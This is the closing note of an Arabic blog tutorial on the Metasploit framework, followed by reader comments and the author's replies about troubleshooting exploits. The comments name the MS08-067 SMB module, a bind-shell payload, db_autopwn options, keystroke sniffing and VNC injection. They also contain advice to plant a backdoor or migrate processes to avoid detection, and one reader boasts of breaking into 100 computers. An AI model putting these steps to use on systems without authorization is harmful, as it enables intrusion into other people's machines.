ملاحظة: استخدام مشروع ميتاسبلويت واستغلال ثغراته يجب أن يتم بدقة وليس من الضروري أن تتمكن من استغلال الثغرة واختراق الجهاز من المرة الأولى! يوجد أكثر من 100 احتمال لعدم عمل الاستغلال بالشكل المطلوب وهنا يأتي دورك لاكتشاف السبب وليس دوري! أنا أشرح طريقة الاستخدام وكيفية التعامل مع المشروع لكني لن أتمكن من معرفة لماذا لم يعمل الاستغلال عندك أو لماذا لم تتمكن من اختراق الجهاز!! قد تكون المشكلة نقص بالحزم الموجودة في جهازك أو من الثغرة, الاعدادات التي اخترتها, الاستغلال أو احدى خياراته, اصدار الثغرة, اصدار النظام الذي تحاول اختراقه مختلف, من الممكن أن يكون مدير النظام قد حدّث النظام أو أصلح الثغرة أو حتى وجود جدار ناري أو أنظمة حماية IDS تمنع تنفيذ الاستغلال… باختصار “Think Out The Box” واعتمد على نفسك في حل المشاكل كما أني أنصح بشدة القيام بتطبيق ما قرأته داخل Lab خاص بك والتدرب على استخدام مشروع ميتاسبلويت واستغلال ثغراته بشكل عملي.
وبالنهاية أتوقع أنه ليس من الضروري التذكير بأن الموضوع خاص بالمدونة وأنا لا أسمح بنقله كاملا أو بدون ذكر رابط للمصدر وفي حال أردت نقل الموضوع “للفائدة العامة!!” من الأفضل الاكتفاء باقتباس جزء منه و وضع رابط لتكملة قراءته فأنا أبذل الكثير من الوقت في الاجابة على الأسئلة التي تطرح بالتعليقات لأنها تحقق الفائدة بشكل أكبر وتكمّل النقاط التي نسيت ذكرها في الموضوع.
أتمنى لكم استخدام موفّق ان شاء الله.. أخوكم عبدالمهيمن.
























السلام عليكم و رحمة الله و بركاته أخي عبد المهيمن
هذا أحد المواضيع الرائعة التي تكتبها و أتمنى منك ان نرى المزيد و شرفني أن أكون أول رد
من شدة تجربتي للمشروع نسيت إبريق الشاي فوق النار :LF:
شكرا لك على الموضوع الرائع
:OK: :OK: :OK: :OK: :OK:
يسرني أن أكون من الأوائل الدين شاهدو هدا الموضوع
وشكرا على الشرح
بسم الله الرحمن الرحيم
السلام عليكم ورحمه الله و بركاته
كيف الحال اخي الغالي عبد المهيمن…ان شاء الله تكون بخير
اولا…الحمد لله اني تعرفت على مدونتك وموقعك الرائع…الذي يغنيك عن الكثير من المواقع في هذا المجال…وانت تعتبر من اساتذه العلم العربي…اخي عبد المهيمن عندي سوال
(هل هذا المشروع يخترق اجهزه وندوز وفستا فقط..اما بامكانه ان يخترق سيرفرات واجهزة لينكس)
وفقك الله تعالى
الف شكر اخي على الشرح الوافي لهدا المشروع اهنئك على ابداعك طريقة في كتابة الموضوع روعة …..بارك الله فيك اخي
مشكووووور اخي على الموضوع الرائع و يشرفني ان اكون الاول في الرد لان هده المدونة كل يوم ازورها لارى جديدك
طلب صغير : اريد طريقة عمل المشروع على توزيعة ubuntu
انا منصبه على الوندوز لكن لم يعجبني
ارجو ان تتقبل طلبي
مشكوووور مسبقا
لقد نسيت خاصية migrate في meterpreter
و هي تعد اهم خطوة ، بعد الاختراق يحصل كراش للبرنامج الذي قمنا باستغلال ثغرته
لذلك من الاحسن عمل migrate لبروسيس آخر كي لا يشك الشخص المخترق
سلام
WoW :yes: :yes: :yes:
this is one of the most interisting topics that i ever read :YY: :YY:
br4v3-h34r7 you are the best :OK:
Keep up the good work :^^:
i’ll try to check out the topic from while to while…. :D :D
C ya
مشكور أخي على الإهتمام و الرد السريع على سؤالي
:LF: :LF: أخي ممكن طريقة إدخال ثغرة جديدة على الأكسبي
مثل ثغرات البورتات هل لازم تكون الثغرة تطابق الإصدار لكي تظهر؟؟؟
طريقة سكان من معك في الشبكة لا تصلح في الإكسبي على ما أظن نقص في الأدوات
ممكن رابط هده الأدوات sqlite2 , mysql , postgres
autopwn
أخي سامحني على كثرة أسإلتي و بعد التعلم إنشاء الله أكون عون لك في الشروحات خاصة على الأكسبي لأن معضم الأعضاء يستعملونه
وبعد تحميلها أين أضعها في الملف
@GH.SK.GH: أخي مرة ثانية مشروع ميتاسبلويت لايعمل بكفاءة على ويندوز وأنا لا أستخدمه من هناك ولا أستخدم نظام ويندوز أساساً.. اما استخدم نظام لينوكس أو استخدم المشروع من أي توزيعة LiveCD مخصصة وجاهزه لهذه الأمور مثل Back|Track.
@knari: لا مشروع ميتاسبلويت ليس محصوراً بنظام تشغيل معين ويوجد به الكثير من الثغرات للعديد من البرامج والأنظمة الأخرى.. اطلع عليها :OK:
@amine: يمكن تطبيق الشرح واستخدام المشروع على أي توزيعة أخرى.. أنا استخدمت Fedora أما أنت فاستخدم مايناسبك.
@مروان: لا لم أنسى الخاصية بل تعمدت عدم ذكرها.. أولا المشروع ضخم جدا ولا تتوقع مني أن أشرح خيارات جميع الأدوات والاستغلالات الموجودة بالتفصيل أكثر من ذلك! فأنا أشرح واحدة اثنتين وأترك اكتشاف وتجربة الباقي لكم ثم أني أفترض من يتبع الشرح لا يستخدم المشروع في أمور غير شرعية تتطلب منه اخفاء أمر الاختراق وتصحيح لكلامك ليس بالضرورة أن يحصل كراش للبرنامج/النظام الذي قمنا باستغلال الثغرة المجودة فيه, قد يحصل هذا أحينا في بعض الثغرات وقد يحصل كراش مع عدم استغلال الثغرة بشكل صحيح أحياناً أخرى.
تحياتي للجميع :)
مشكووور كثيييييييييير موضوع جاذب صراحة وماقدرت ارمش حتى كملتوا
يسلمو اخي الكريم على الطرح
الصراحه ابدعت هاا المره يا شيخ :OK: انا مش قريت التدوينه كامله لضيق الوقت حاليا بس فى الـ bookmark لانى دى عايزه قاعده طويله و كوبايه شاى من اللى بالك فيهم :D وبرجعلك للت و العجن و النقاش و الاسأله :xa:
مرحبا عبدو
شرح قوي .. وطويــــــــل :LF:
بحاول ارجع للموضوع في وقت اخر اقراءة بشكل ادق!
السلام عليكم
مشكووور جدا على الموضوع الممتع
صراحه الميتا سبلويت عالم آخر في عالم الهكر
و أنا جربت ثغره شغاله معي تمام و شغاله على 90 % من إصدارات وندوز
بس في مشكله حيرتني كتييييييييير
المشكله : انو انا هلأ شبكت مع الجهاز المستهدف و شغال عليه 100 %
بس لما افصل من عنده و احاول أرجع تاني بيحكلي تعذر الاتصال
جربتها على جهازين اتصل 100 % لما بدي ارجع ما بيرجع :( بيكتبلي انو تعذر
شو الحل بيكون برأيك :???:
شـكــ وبارك الله فيك ـــرا لك … لك مني أجمل تحية . :yes:
شكرا لك لكن لدي استفسار
ما فائدة وضع S او O في نهاية الاوامر مثل
PAYLOAD=windows/shell/bind_tcp O
وغيره
وماذا تعني ؟
—
انا لم اشاهد الشرح كامل وشاهده بعد ان انجز عملي
واعجبتني طريقتك في قول من زال يستخدم ويندوز ههههههه انا اسميه النظام الصخري
وفقك الله
السلام عليكم ورحمة الله وبركاتة
جزاك الله خير اخووي عبدالمهيمن . صراحة موضوع في قمة الروعة .
اتمنى لك التوفيق
@mustafa albazy: احمد ربك أنه جاهز أمامك لتقرأ وتنفذ فقط! ولست محتاج للبحث في عدة مصادر والتجربة عدة مرات وكتابة الشرح والتأكد من صحته وتنسيقه وتصوير ما تقوم به :D
@Eyhab:أتوقع أنك تتكلم عن نفس الثغرة التي شرحتها في الموضوع لأنها مكتشفة في أواخر عام 2008 وأصابت جميع اصدارات ويندوز XP, عند تمكنك من استغلال الثغرة لأول مرة يجب ألا تفترض أنك قد تتمكن من استغلالها مرة ثانية ففي بعض الأحيان تنجح باتستغلال الثغرة أكثر من مرة وفي بعض الأحيان كما قال الأخ مروان البرنامج/الخدمة سيعمل كراش لذلك يجب ألا تتوقع وجود مرة ثانية وتستغل الثغرة من المرة الأولى لأقصى درجة ممكنة. باختصار ارفع باك دوور وكمل شغلك :OK:
@mrloong: أخي أتمنى في المرة القادمة أن تناقش في الموضوع أو تتوقف عن كتابة نفس التعليق على الأقل!
@ali ahmed: ما رأيك أن تقرأ الموضوع وتطبق ما قرأته أولا ثم تبدأ بطرح الأسئلة ;)
@تركي: تسلم أخي هذامن ذوقك وأهلا بك في المدونة.
السلام عليكم
ابدعت اخي الكريم في الشرح الاكثر من رائع :yes:
ماشاء الله تبارك الله عليك ,,,, زادك الله علما :)
ولكن لماذ1 لايعمل مشروع الميتا على الويندز بكفائة مثل ماذكرت في الردود ؟
والسلام مسك الختام
شرح متعوب عليه
لو فيه تقييم كنت أعطينك 10/10 <<< غصبن عنك :D
تحـيآأتـ لـكـ,,,
ما عليش يا اخي عبد المهيمن…كثرنا الاسئله عليك ..لكن عندي اخر سؤلين وحيروني
(عندما استخدم اختار الاستغلال”اتصال عكسي”لازم اكون مركب برنامج اخر لذالك مثل no-ip
وفاتح port رقم 444 في المودم اما ان مشروع Metasploit يغنيك عن كل هذه البرامج)
وفقك الله….وعذرني على كثر الاسئله
باك الله فبك تستحيل انقول هده مجرد تدوينة عادية هادا درس من الكبار عربيا طبعانضري احب ان اره يوما مطبقا يعني ان تشرح لنا بصوة و صورة تمما بطريقة الكبار
محمد المغربي
souss.007@gmail.com
@EVIL-KSA: المشروع مبرمج بلغة روبي (أفضل بيئة عمل لهذه اللغة هي لينوكس) أضف الى ذلك أنه يعتمد على العديد من المكاتب لا أتوقع أن تكون كاملة في نظام ويندوز. لماذا أنت مصر على استخدام المشروع من ويندوز؟
@CuTthRoaT: تسلم أخي.. ان شاء الله تكون استفدت من الموضوع وأهلا بك في المدونة.
@knari: فتح منفذ بالمودم/الجدار الناري أمر لابد منه والا لن يتم الاتصال العكسي وليس من الضروري أن تستخدم لبرنامج no-ip اذا كنت تملك Static IP Address يمكن الوصول له بشكل مباشر.
@soussi-007: لا أعلم ماهو المعيار لدروس “الكبار” و “الصغار” فحتى الآن ماقمنا به أمر عادي جدا.. مجرد استخدام مشروع يحتوي على أدوات وثغرات جاهزة (لم نكتشف شيء ولم نبرمج أو نطوّر شيء!) واذا كنت تريد الصراحة المفروض أن أضع الموضوع بدون صور وبدون كل هذا التفصيل لكن بعدها متأكد أن الأسئلة ستبدأ ولن تنتهي لذلك قررت شرح الموضوع بالتفصيل لأكثر درجة ممكنة وبالصور والتطبيق العملي لأريح نفسي (قدر الامكان) من كثرة الأسئلة. (لا أعني أن التعليقات والاسئلة تزعجني لكن انشغالي سيمنعني من الاجابة عليها بشكل سريع)
تحياتي للجميع
جزاك الله خيرا على هدا المجهود
شرح جيد
لكن أخي لو ذكرت المصدر الذي إعتمدت عليه لأني قرأت نفس الشيء اللي شرحته بالإنجليزية
إضافة على ذلك فإنه ليس بالإستخدام المتقدم
الإستخدام المتقدم يدخل في قسم developping يعني كتابة الثغرات و modules و الplugins …
تقبل ردي
@smash3r: ممكن تذكر لي المصدر (عربي, انكليزي أو أي لغة تريدها) شرح نفس الثغرات والأدوات المستخدمة واستخدم نفس الأوامر بنفس الاسلوب ونفس التسلسل وبالصور وأعطى نفس النتائج والنصائح ؟!! كلامك غريب! يعني اذا المشروع يستخدم بهذه الطريقة تريدني أخترع لك طريقة ثانية لاستخدامه؟ شرحت في موضوع سابق msfconsole على ثغرة بسيطة وبهذا الموضوع msfcli و msfconsole أيضا على على ثغرتين (MS08-67 احداهم) طبعا لأقدر أشرح شيء أكيد حأكون قرأت عنه سابقا في عدة مصادر وبحثت وجربت ووو يعني لن ينزل علي الوحي ويخبرني بكيفية استخدم المشروع! أي موضوع أكتبه في المدونة أكون قد قرأت عنه سابقا وبحثت عنه ثم أشرحه وأخلص الأمور حسب تجربتي الشخصية! أما بالنسبة كونه ليس استخدام متقدم ماهو الاستخدام المتقدم بنظرك؟ لا تدخل التطوير بالموضوع لأنه قسم آخر تماما والعنوان واضح “الاستخدام” وليس “التطوير” وكلامي واضح! (على فكرة أنت لم تقرأ الموضوع كامل)
تحياتي.
amazing amazing
.. .. .. .. .. ..
:OK:
حاولت إضافة ثغره للأداه الإصدار 3 على نظام الوندوز ولاكنني لم استطع
ارجو شرحها بالتفصيل ولو كان بالصور يكون افضل
ولك جزيل الشكر
اخوك / همام
موضوع جميل جدا
و انا فعلا متلهف لتعلم الميتا لكن شفت الموضوع بشكل سريع قلت لازم اشكر اللي كاتب الموضوع اول و بدين ارجع و اتمعن في الموضوع زين
جميل جدا أخي وفقنا الله وفوّقنا وعند حدوده أوقفنا، لكن حبّذا لو كان موضوع خاص بالوينداوز وأحدث الثعرات وأسهلها في الدخول تماشيا مع إستعمالات العامة … تحياتي …
السلام عليكم
اخي هناك من يقول ان مثل هذه البرنامج او الادوات المشابهة مثل كــ Coreimpact . تسهل العمل و في نفس الوقت تساهم في الاظرار في مجال pentesting .. و قرأت منذ مدة مقال ادعي فيه كاتيه ان pentesting قدم مات .. مار ايك اخي br34v3 ؟؟
شرح اكتر من ممتاز
جربت ال Keystroke Sniffing انا حاولت اكتر من مرة لكن مش عارف ما ظبطش معايا ليه
@همام, أمير البيان: أنا لا أستخدم مشروع ميتاسبلويت على ويندوز ولا أستخدم نظام ويندوز أساسا! الي يريد يستخدمه على ويندوز يعتمد على نفسه ويعرف طريقه بنفسه :)
@jump3r: وعليكم السلام أخي, صحيح أن استخدام مشروع Metasploit أو برنامج CoreImpact (استغلال الثغرات فيه عبارة عن Drag&Drop ويتم بعدة نقرات فقط!!) سهّل عملية اختبار الاختراق بشكل كبير لكن تذكر أن هذا ليس كل شيء واكتشاف الثغرات الموجودة جزء من الـ Penetration Testing فقط ;)
تحياتي للجميع.
:evil: وويـــــــــنك من زمان اخي ، انا اقسم بالله العظيم عرفتها من زماااااااااااان اخترقت بيها 100 كمبيوتر و احترفت اوامرها ، الا امر auto ما جاربته ابدا .
اما طريق استغلال امر meterpreter في رفع وتنزيل الملفات ليس كما قلت ، على العموم يكمن انت مابدك تبين الطريقه .
اما من الناحيه تانيه اعتقد انه المستخدم xp تظهرله شاشه دوس بالازرق خاصه بالبرنامج مثل التي فوق :OK:
ماشاء الله جزآك الله الف خير
انا من مستخدمي Linux وحآليآ اوبنتو 8.10 هل تنصحني بالتحديث؟
أو هـل تنصحني بتركيب ادوات بآك ترآك والإلتزآم بنسخه الأبنتو الخآصــه
+
لو سمحت التغره الي شرحت عليها في الميتاسبلويت
هي Remot ونا شفت الجهاز XP ياريت اسم التغره ازا سمحت
وصراحه شرح ولا أروع
السلام وعليكم
مشكور اخي على الموقع الاكثر من رائع وشكرا الك على الموضيع
بس مش عارف كيف ادخل على الصفحة هاي من الدوس
http://aalagha.com/blog/wp-content/uploads/2009/05/metasploit-1-500×356.png
السلام وعليكم
صدقنى انا مش عارف اقولك ايه والله انت قمت بالواجب وزياده حبتين تلاته
ربنا يكرمك يا رب
@Evil-COd3r: أخي موضوع تحديث النظام أم لا يعود لك.. سمعت أن الاصدار 9.04 من أبونتو يحتوي على مشاكل خصوصا مع كروت شاشة ATI لذلك اذا كنت مرتاح مع الاصدار 8.10 رأيي أن تبقى عليه, بخصوص الثغرة ستجد اسمها وطريقة استخدامها بالشرح!!!!
@riad: الموجود بالصورة هو محتويات مجلد مشروع ميتاسبلويت.
دمتم بود جميعا…
مبدع كعادتك ،، كفيت ووفيت :)
وحشتنا يا بطل ^_^
انا صراحة من المعجبين بمطورين هدا المشروع بعتبرهم من الصفوة اضافة الى فريق THC والجيد هو ان كل مشاريعهم مدموجة في مشروع كبير metasploit وهدا ما يزيد قوة المشروع
اضن انك لم تترك شئ في استخدامات الميتاسبلوات . ان شاء الله نشاهد موضوع مثل الموضوع لاكن يكون خاص بالmetasploit Developement
@عبدالمجيد المحارب: أنت الابداع أخي.. عاش مين شافك :D ليه ما تكتب شيء بمدونتك؟
@dGeeky: تريد الصراحة.. أنا اخترت أتعلم لغة روبي لأجل ميتاسبلويت, المشروع مبرمج بطريقة عبقرية وقدراته غير محدودة. بالنسبة لبرمجة الثغرات, العملية ليست معقدة جدا لكنها تحتاج معرفة بالبرمجة ولغة روبي!
الف الف الف شكر لك درس رووووووعه .. اخوي اتمنى تضفني على المسنجر :YY:
ابيك ضوروري جعل ابوك بالجنه s5n@hotmail.com
اخي الكريم
بارك اللة فيك وعلى ادائك الممتاز في شرح المشروع . وانا من المعجبين جدا لمواضيعك .
لكن هناك سؤال واتمنى الرد علية من قبلك وهو :
هل ممكن استخدام المشروع على شبكة اتصال من نوع USB التي توفرها شبكات الاتصال واللتي تكون سرعاتها 7.2 Mb ?
آخوي عبد آلمهيمن .. آنآ آقف آمآم جهدك آلعظيم مبتهجآ بمآ كتبت فآبدعت !
مع آلعلم آنه يوجد آلكثير من آلخصآئص مثل خآصية تطبيق ثغرة معينة على نطآق كآمل و آلكثير آلكثير ..
و آلحمد لله آنآ فآهم كل نقطة قمت بكتآبتهآ .. و آنآ آلآن آكلمك من آلبآك ترآك 4 بري فآينآل
و عندي سؤآل آو ربمآ مشكلة بآلآحرى .. آوآجهه منذ آكثر من 3 آشهر .. :^^:
طبعآ آلمشكلة هي نفسهآ في ثغرآت آلريموت و آلتطبيق بشكل عآم .. فمثلآ عند محآولة تطبيق .. MS08-067
آنظر مآذآ يحدث في هذه آلصورة ..
سؤآلي آلآول هو .. :
لو ملآحظ معي هآلسطر .. هو مآ يهمني في كل مآ بآلصورة
[*] Exploit completed, but no session was created
بحثت كثيرآ .. ووجدت آكثر من سبب غيرت آلنظآم آلمطبق عليه آلثغرة و غيرت آلآستغلآلآت و وصل آلآمر آلى آني رآسلت موقع آلمشروع نفسه فقآلوآ لي آحذف ملف آلقآعدة و ركبه من من جديد .. مآلحل في نظرك و من تجربك آلشخصية ؟
سؤآلي آلثآني .. :
هو بخصوص آلآخترآق عن بعد آيضآ .. طبعآ من آلمعروف آلآن آنتشآر آلروآترآت آلتي تحمي آلشخص بجدآر حمآية يمنع من تتطبيق آلثغرة في آلمكآن آلصحيح .. و آثبآتآ لكلآمي جربت آلتطبيق على آي بي ثآبت سوآء عن طريق خآصية DMZ or VPN فكلآهمآ يعمل على آلخروج من خلف آلروآتر .. و نجحت !
مآلحل آيضآ برآيك لمثل هذه آلمشكلة آلتي هي آكبر مشكلة موجودة حآليآ تقريبآ !
و لك خآلص شكري و آتمنى آن آجد لديك آلجوآب آلكآفي و آلشآفي .. :)
نسيت آلصورة عفوآ هآ هنآ ..
http://www.la3younk.com/images/wgbd9krvqryal31x8kxi.png
عفوآ آخوي عبد آلمهيمن .. آخطآت في آلصورة
هذي هي آلصورة آلصحيحة لمآ آرمي بآذن آلله :LF:
http://img44.imageshack.us/i/metasploit.png/
اخي الكريم لم يتم الرد على سؤالي ؟
ارجوا ان تكون بخير … وسؤال اخر اخي الكريم .
عند عمل قاعدة بيانات للاداة db_autow باسم وليكن majed .. كيف اقوم بحدفها ؟
وشكرا لك اخي الكريم
@majed: عذرا للتأخر بسبب انشغالي الشديد في الأيام الماضية, شخصيا قمت بتجربة المشروع ضمن شبكة محلية فقط لكني بنفس الوقت لم أقرأ أن المشروع لا يعمل عن طريق الانترنت (في الانترنت اتصالك يمر بعدة سيرفرات, من المحتمل أن يمنع احدى هذه السيرفرات ارسال الثغرة لوجود جدار ناري أو نظام IDS مثلا لذلك النتائج لن تكون مضمونة كما يجب عليك التأكد أن IP الجهاز هو Real IP يمكنك من الاتصال مع الجهاز بشكل مباشر) أما بالنسبة لقاعدة البيانات فستجدها داخل مجلد المشروع.
@Metasploit Lover: بالنسبة للسؤال الأول فمن الواضح أن الثغرة لم تعمل (على الأغلب الجهاز محدّث) أما بخصوص السؤال الثاني الراوتر لم يوجد ليحمي المستخدم بل لتوزيعة الانترنت على المستخدمين واذا لم تكن تستخدم المشروع ضمن شبكة ولا يوجد للجهاز IP ثابت لا أتوقع أنك تستطيع من تنفيذ الثغرة.
خبرة+تجربة=احتارف
الف شكر لو تعملن فيديو تطبيقي راح يكون افضل
ومتميز كعادتك
(^_^)
السﻻم عليكم
ولله شرح اكثر من رائع وطبقته وشغال تمام التمام
لكن عندي سؤال او بالاحرى مشكلة تتلخص في هذه الصورة http://img237.imageshack.us/i/victim.png/
اي عند استعمال VNCINJECT تظهر بيضاء لماااااذا.؟؟
@r40l: بصراحة أول مرة أصادف هذه المشكلة ولا أعلم سببها! أنصحك أن تبحث في Google وان وجدت شيء شاركنا الحل :)
المشكلة تحلت اخي عبد المهيمن باذن الله وتكمن في تشغيل الVNC Viewer
بص يا عبد المهيمن
وانا بعمل Update
الرساله دى بتظهر لى فى الاخر
external/source/byakugan/injectsu/i386/injectsu.exp
U external/source/byakugan/injectsu/i386/injectsu.pdb
U external/source/byakugan/injectsu/i386/injectsu.lib
U external/source/byakugan/injectsu/i386/injectsu.dll
U external/source/byakugan/jutsu.h
U external/source/byakugan/exts.cpp
U external/source/byakugan/bin/XPSP2/byakugan.dll
U external/source/byakugan/i386/byakugan.pdb
U external/source/byakugan/i386/byakugan.lib
U external/source/byakugan/i386/byakugan.dll
U external/source/byakugan/i386/byakugan.exp
U external/source/byakugan/jutsu.cpp
U external/source/byakugan/README
U external/source/meterpreter/source/server/posix/metsrv_test.c
U external/source/meterpreter/source/server/posix/metsrv_standalone.c
U external/source/meterpreter/source/server/posix/remote_dispatch.c
U external/source/meterpreter/source/common/compat_types.h
U external/source/meterpreter/source/common/arch/posix/buffer.c
U external/source/meterpreter/source/ulibc/fcntl.h
U external/source/meterpreter/source/ulibc/arch/posix/buffer.c
U external/source/meterpreter/workspace/metsrv/Makefile
svn: Failed to add directory ‘data/msfweb’: object of the same name already exists
عبد المهيمن انا نجحت فى تطبيق الثعره الاولى ولكن عن طريق ./msfconsole
طبقت جميع الخطوات كما شرحتها من قبل
شكراُ يا باشاااااااااااااااااااا بس أوعدك إن أنا مش هأذى حد بهذه الاشياء التى تعلمتها معك
لكنى أتعلم فقط للعلم
@t4h3r: بخصوص التحديث جرب أن تقوم بتنفيذ الأمر مرة أخرى وأن تنفذ الأمر على آخر اصدار من المشروع تم تحميله من الموقع. يسعدني أنك نجحت وأتمنى لك التوفيق…
انا عندى سؤال مدوخنى
هو انا ممكن استغل الثغره دى على جهاز خارج الشبكة
ولو ينفع ايه اللى بيختلق فى التطبيق
معليش اخي عبد المهيمن كثرنا كليك الاسئله
بس…ياليت تعطينا اوامر الـــــ Nessus في الفحص على السريع
لاني دخلت الامر db_vulns وما اشتغل معي….وفقك الله تعالى
@t4h3r: اقرأ ردي على الأخ ماجد في التعليق رقم 47.
@knari: نستخدم db_vulns لعرض الثغرات بعد اضافتها للمشروع باستخدام db_import_nessus_nbe أي لا يمكنك استخدام Nessus بشكل مباشر من داخل مشروع ميتاسبلويت كما فعلنا مع Nmap بل تقوم بالفحص باستخدام Nessus ثم تصدر النتائج لملف nbe وتضيفها للمشروع.
اخي بعد ان قمت في الفحص ببرنامج Nessus وتصدير الملف الى nbe هذا الملف
في داخل اي مجلد من مجلدات مشروع Metasploit اضعـــه
وهل بعدها اضع هذا الامر لكي يبدا اختبار الاختراق db_autopwn -x -e -b
وفقك الله…وعذرني على كثر الاسئله
سلمت يداك أخي عبدو
السلام عليكم
أخوي عبدالمهيمن
عندي سؤال بسيط
بعد أنشاء قاعدة بيانات بالأمر msf > db_create autopwn
ما هو الأمر ألي يزيلها ؟؟
أعتذر .. لقيت السؤال موجود
جزاك الله خير على الشروحات الجميله ألي تقدمها
اشكر اخوي علي هذه الشرح القيم والصرحه
وشكراا مره اخراااا
ابن اليمن abdilqdr@hotmail.com هكر مبتدي
اخي عندي مشكله هذه من ماذا تتوقع وما هو الحل
SRVHOST => 67.222.135.79
msf auxiliary(ftp) > exploit
[*] Auxiliary module running as background job
msf auxiliary(ftp) >
[-] Auxiliary failed: Errno::EADDRNOTAVAIL Cannot assign requested address – bind(2)
[-] Call stack:
[-] /home/knari/Metasploit/lib/rex/socket/comm/local.rb:134:in `bind’
[-] /home/knari/Metasploit/lib/rex/socket/comm/local.rb:134:in `create_by_type’
[-] /home/knari/Metasploit/lib/rex/socket/comm/local.rb:26:in `create’
[-] /home/knari/Metasploit/lib/rex/socket.rb:45:in `create_param’
[-] /home/knari/Metasploit/lib/rex/socket/tcp_server.rb:38:in `create_param’
[-] /home/knari/Metasploit/lib/rex/socket/tcp_server.rb:27:in `create’
[-] /home/knari/Metasploit/lib/msf/core/exploit/tcp.rb:323:in `start_service’
[-] /home/knari/Metasploit/lib/msf/core/exploit/tcp.rb:273:in `exploit’
[-] (eval):55:in `run
اقدر لك مجهوده وحبك الشديد في هذا المشروع ولكن عندي ملاحظات مهمه
اولا: لقد جربت المشروع في نطاق شبكتي المحليه مع العلم ان شبكتي بنظام سيرفر الماكروتيك المهم فشلت فشل زريع وحاولت محاولات عده لاستغلال اي ثغره علي اي جهاز بالشبكه ولكن كالعاده فشلت ……….. ترددت كثيرا قبل ان اكتب لك لاني لا اقبل الفشل واعدت المحاوله في شبكه اخري ووجدت شيء :???: :???:
انه يتم استغلال الثغرات في حاله تفعيل خاصيه
File and Printer Sharing for Microsoft Networks
عند جهاز الضحيه سواء كان يوجد فاير وول او لا.. اي شيء اخر لا يمنع الاستغلال خصوصا مع وجود امكانيه الاتصال العكسي في البرنامج ….
اما عند عمل تفعيل لهذه الخصيه علي الجهاز الضحيه لا يمكن الاختراق باي شكل من الاشكال ودائما تكون العباره التاليه هي النتيجه
[*] Exploit completed, but no session was created
مثل ما حدث مع الاخ Metasploit Lover تماما ….
لهذا استنتجت لما لم يتم الاختراق في شبكتي المحليه الاصليه لان مدير سيرفر الماكروتيك تبعي مانع خاصيه الشيرنج بين الاجهزه لذلك كانت تحدث مع هذه النتيجه ايضااا
اذا كان كلامي صحيح ..اذاا هناك نقص في هجوم البرنامج وان هذا البرنامج يعتمد في اختراقه علي جهل الضحيه وليس علي قوته
ارجو الافاده اخي عبد المهيمن وتصحيح اي اخطاء قمت بكتابتها اذا كانت نظريتي صحيحه ام لا….. واذا كان كلامي صحيح وعندك طريقه للاستغلال البرنامج بدون تفعيل هذه الخصيه عند الضحيه ارجو توضيحها
ااسف علي الاطاله
@محمد: ليست كل الثغرات الموجودة في المشروع متعلّقة بخدمة مشاركة الملفات, أنا طبقت الشرح على هذه الثغرة كمثال, يمكنك تجربتها أو استغلال ثغرات من نوع آخر ان كانت في برامج يستخدمها المستخدم أو حتى ثغرات المتصفح كونها Client-side وبالنسبة للمايكروتك صحيح السيرفر قوي ولي تعامل مطوّل معه لكن اذا الفايروول مانع الاتصال بين الجهازين أكيد ميتاسبلويت ما حتقدر تسوي شيء!
حالياً يوجد أكثر من 480 ثغرة في المشروع.. لكن ليس بالضرورة أن يعملوا معك لأن هذه الثغرات لها تحديث والمستخدم الذي يقوم بتحديث نظامه بشكل مستمر لن يتأثر بهذه الثغرات.
مشروع ميتاسبلويت ليس سحر يستخدم لاخترق جهاز عن طريق الأيبي بهذه البساطة كما يعتقد البعض, صحيح أنه سهل الأمر لكنه لم يبرمج لهذه الغاية بل لاختبار مستوى حماية الشبكات ومعرفة نقاط الضغف فيها عن القيام بـ Penetration Testing.
ملاحظة: عندما أقصد شبكتك الخاصة فأنا أقصد أن تكون أنت الأدمن في الشبكة ولديك مطلق التصرّف في الأجهزة الموجودة فيها :)
يا رجل فعلا انت مو طبيعي ماشاء الله تبارك الرحمن الله يحرسك من عيون الحساد والله عجزت الجمل عن التعبير تستاهل اكتر من كلمة شكر الله يزيدك من نعيمو اخي :OK:
جزاك الله خيرا
فقط اضافه بسيطه , الثغره المشروحه في هدا الموضوع هى نفسها الثغره التى ينتشر بها الفيروس Confiker
exploit/windows/smb/ms08_067_netapi
:D
الحمد لله على وجود مبرمج عربي يحب يشارك الاخرين في المعرفة واركز على نشر المعرفة
واتمنى من الله ان يوفقك في الدراسة ان شاء الله وفي جميع امور الحياة
قبل مروري
وشكرا لك مرة اخرى
ماشاء الله تبارك الله
علم وااااااااااااااسع بمشروع Metasploit
لله درك شرح واضح ومفصل ودقيق
جزاك الله خير ووفقك
الله يكثر من امثالك
شكرا احي الحبيب شرح قوي و مفيد جزاك الله خير
السلام عليكم
اخوي لو سمحت بغيت اعرف وشلون اجيب الاداة metasploit GUI
وشكراَ
شكرا لك على هذا الموضوع الرائع وأتمنى المزيد منكم ، فهذا المشروع رائع جدا
جزاك الله خيرا اخى على هذا الشرح واتمنى من الجميع عدم استخدامه ضد المسلمين وشكرا :yes:
حبيت اسال عن مشروع w3af
اتمنى له شروحات ( : :D
انا بصراحة من العصر الحجري وشغال على وندوز يا ريت حد فمان يبلش معي من الصفر من اللي حكا عنو الاخ نظام التشغيل المدعو GNU/Linux توزيعة Fedora وطريقة تحميله او الحصول عليه …. :guns:
أخوي تبغى الصراحه كل المواقع استفدت منها بالميتا سبلوت 30%
ما شاء الله عليك مواضيعك أستفدت منها أكتر والشاهد الله
الله يوفقك وياليت الناس زيك ينشرون الخير ومايبخلون علينا
بالتوفيق ولو محتاج شئ أنا بالخدمهـ :OK:
شرح كبير أخي الكريم , شكرا لك كثيرا والله إستفدنا :OK: :yes:
:LF:السلام عليكم .. عيد مبارك
شرح جميل جدا.. وشكرا على المجهود :LF:
بصراحة لا يسعني إلا ان اقف مذهولاً اجلالاً وتقديراً لمجهودك الجبار والرائع و المنقطع النظير وانا اعلم بأن الأجر والمثوبة من الله هما الحافز والدافع لك للمثل هذه الأعمال الجبارة لا سيمى وانك دقيق في الشرح والتفاصيل وما قلت هكذا إلا لاني اعلم حتى لو كان هناك مقابل مادي او شهرة ما كانا دفعاك لمثل هذا الأتقان فشكراً جزيلاً لك بأسمي وبأسم كل من حاول وتعب ولم يجد مصدر غني مثل هذا المصدر للمعلومات والثقافة التقنية والأمنية وجزاك الله كل خير ومتعك بالصحة والعافية :OK:
مشكور اخي على هده الشروحات افدتنا